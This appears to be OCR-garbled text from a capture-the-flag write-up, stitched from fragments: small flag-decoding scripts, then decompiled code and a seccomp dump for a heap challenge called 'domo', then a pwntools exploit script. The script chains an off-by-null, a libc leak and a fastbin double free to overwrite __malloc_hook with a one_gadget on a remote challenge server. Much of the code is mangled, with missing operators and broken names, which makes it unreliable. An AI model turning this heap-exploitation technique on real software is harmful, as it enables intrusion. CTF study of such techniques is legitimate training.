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push offset byte 1C767480 ; char *
push offset aHelloworld ; "Hell

call

add esp, 8

test eax, eax

jnz short loc_404F54
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K Free File Camouflage v1.25
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Here youll find four aptions to Camouflage (with standard
and custom password) and de-Camoufiage a fie.
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abcdefghijklmnopgrstuvwxyzdoeval An

ABCDEFGHIJKLMNOPQRSTUVWXY Z do eval An

(7]
abcdefghdijdoeval Bn

$((num + 1)) done alert("Bk="' ';Bm=""
';Bn="#
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forninabcdefghijklmnopgrstuvwxyzdoeval An="n"done for nin ABCDEFGHTIIJK L

MNOPQRSTUVWXY Z do eval An="n"done num=0 for n in a b cd e f g h i j do eval Bn="n"num=$((num+1))d
one alert("Bk="' ';Bm=""';Bn="#"';Bs="("';Bt=")"';By=".";Cb=";";Cc="<";Ce=">";Cl="_";Cn="{";Cp="}";Da="'0"';Db="1";Dc=
'2';Dd="3";De="4";Df="5";Dg="6"';Dh="7"';Di="8"';Dj="9"';")
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Y Bm=""";Bn="#";Bs="(";Bt=")";By=".";Cb=";";Cc="<";Ce=">";Cl="_";Cn="{";Cp="}";Da="0"';Db="1";Dc="2";Dd="3";
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#include <stdio.h>

int ai(){
print("w31lcOme_4o0_ 9kct5");
return 9;

}

K flagy: flag{w3lceme 4o 9kct5}
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'welcylk"
'abcdefghijklmnopgrstuvwxyz'

for pos in range(len(ans)):

for i in range(len(table)):
tmp (11*i+6)%26
t_ans table[tmp]
if t_ans ans[pos]:
flag table[i]

break

print(flag)
print(base64.b64encode(flag.encode()))
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s = [69, 74, 62, 67, 118, 83, 72, 77, 86, 55, 71, 57, 82, 57, 64, 63, 51, 107]
ans t
for i in range(len(s)):

ans chr(s[i]+1+1)

print i, chr(s[i]+1+i)

print ans

print ans.lower()

FLAG{YOU ARE GOOD}
flag{you are good
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:~/ctf/pwn2/domo# checksec domo
[*] '/root/ctf/pwn2/domo/domo’
Arch: amd64-64-little

RELRO:
Stack:
NX:
PIE:

add 4k off-by-null

L
gword 203060 [ SHIDWORD( Y] = malloc((signed
puts("content:");
read(®, gword_ 203068[ SHIDWORD( )1, (unsi
*(( _BYTE *)qword 203060[ SHIDWORD( 3] + (
++num;

h

else
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3f Hadd#fdelete#i A check, WE S T hooki#t TIEHAT T

int)nbytes);

ned int)nbytes);

ned int) ) = 6;

igned _ int64 check()

=]

{

if ( _malloc_hook == @LL && free_hook == @LL )
return 1LL;

puts{“"oh no");

return @LL;

[ R

7}

BB TER TR HE

14 edit(&v4, &5, &6);

15| }

16 = seccomp_init(21474181121L);

17| seccomp_rule add(vd, @LL, 59LL, @LL);

18| seccomp_rule add(vd, @LL, 4294957238LL, @LL);
19| seccomp_rule add(vd, @LL, 18LL, @LL);

38| seccomp_load(vE);

31| puts("oh,Bye");

32| return OLL;

Ox00000004

Oxc000003e if (A !'= ARCH X86 64) goto 0009
Ox00000000 A = sys number
0x40000000 if (A < 0x40000000) goto 0005

Oxffffffff 1if (A != Oxffffffff) goto 0OO9

0x0000000a 1if (A ==
0x0000003b if (A ==

mprotect) goto 0009

execve) goto 0009

Oxffffd8be if (A == Oxffffd8b6) goto 0009
Ox7fffEEO0 return ALLOW
Ox00000000 return KILL hitpsi//blog.csdn.net
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XL FE R E B BB, BB off-by-nuli E & 2 J5 it FElibc+double freef __malloc_hook , EEZ JEMIAMEEAFT,
JE HER B A ME discanfi A K i K& Amalloc, RARBMARKIE, THEHAEXp

from pwn import

r = remote("node3.buuoj.cn", 27130)
#r = process("./domo/domo")

context(log level 'debug', arch 'amd64', os "linux")

elf = ELF("./domo/domo")
libc ELF('./1libc/1libc-2.23.s0")
one_gadget_16 [6x45216,0x4526a,0xf02a4,0xf1147 |

menu >
def add(sizel, contentl):
r.recvuntil(menu)
.sendline('1")

.recvuntil("size:\n")

.recvuntil("content:\n")

g
P
r.sendline(str(sizel))
P
g

.send(contentl)

def delete(index):
.recvuntil(menu)
.sendline('2")
.recvuntil("index:\n")
.sendline(str(index))

def edit(index, content):

r.recvuntil(menu)

r.sendline('4")
.recvuntil("addr:\n")
.sendline(str(index))
.recvuntil("num:\n")

.send(content)

def show(index):
.recvuntil(menu)
.sendline('3")
.recvuntil("index:\n")

.sendline(str(index))

‘chunke")
‘chunk1")
‘chunk2")
'chunk3")
'a'*Ox60+p64(0x170) )#0

'aa')#1

malloc_hook ub4d(r.recvuntil('\x7f"').1just(8, '\x00"')) Ox58 - 0x10




libc.address malloc_hook libc.sym[*_malloc_hook" ]
success("malloc_hook:"+hex(malloc_hook))
one_gadget libc.address one_gadget_16[3]

'aa')#2
‘aa')#4

p64(malloc_hook-0x23))#0

p64(malloc_hook-0x23))#2
add(0x60, p64(malloc_hook-0x23))#4
payload 'a'*Ox13 + p64(one_gadget)
add(0x60, payload)

r.recvuntil(menu)
r.sendline('2"'*0x1001)
r.interactive()
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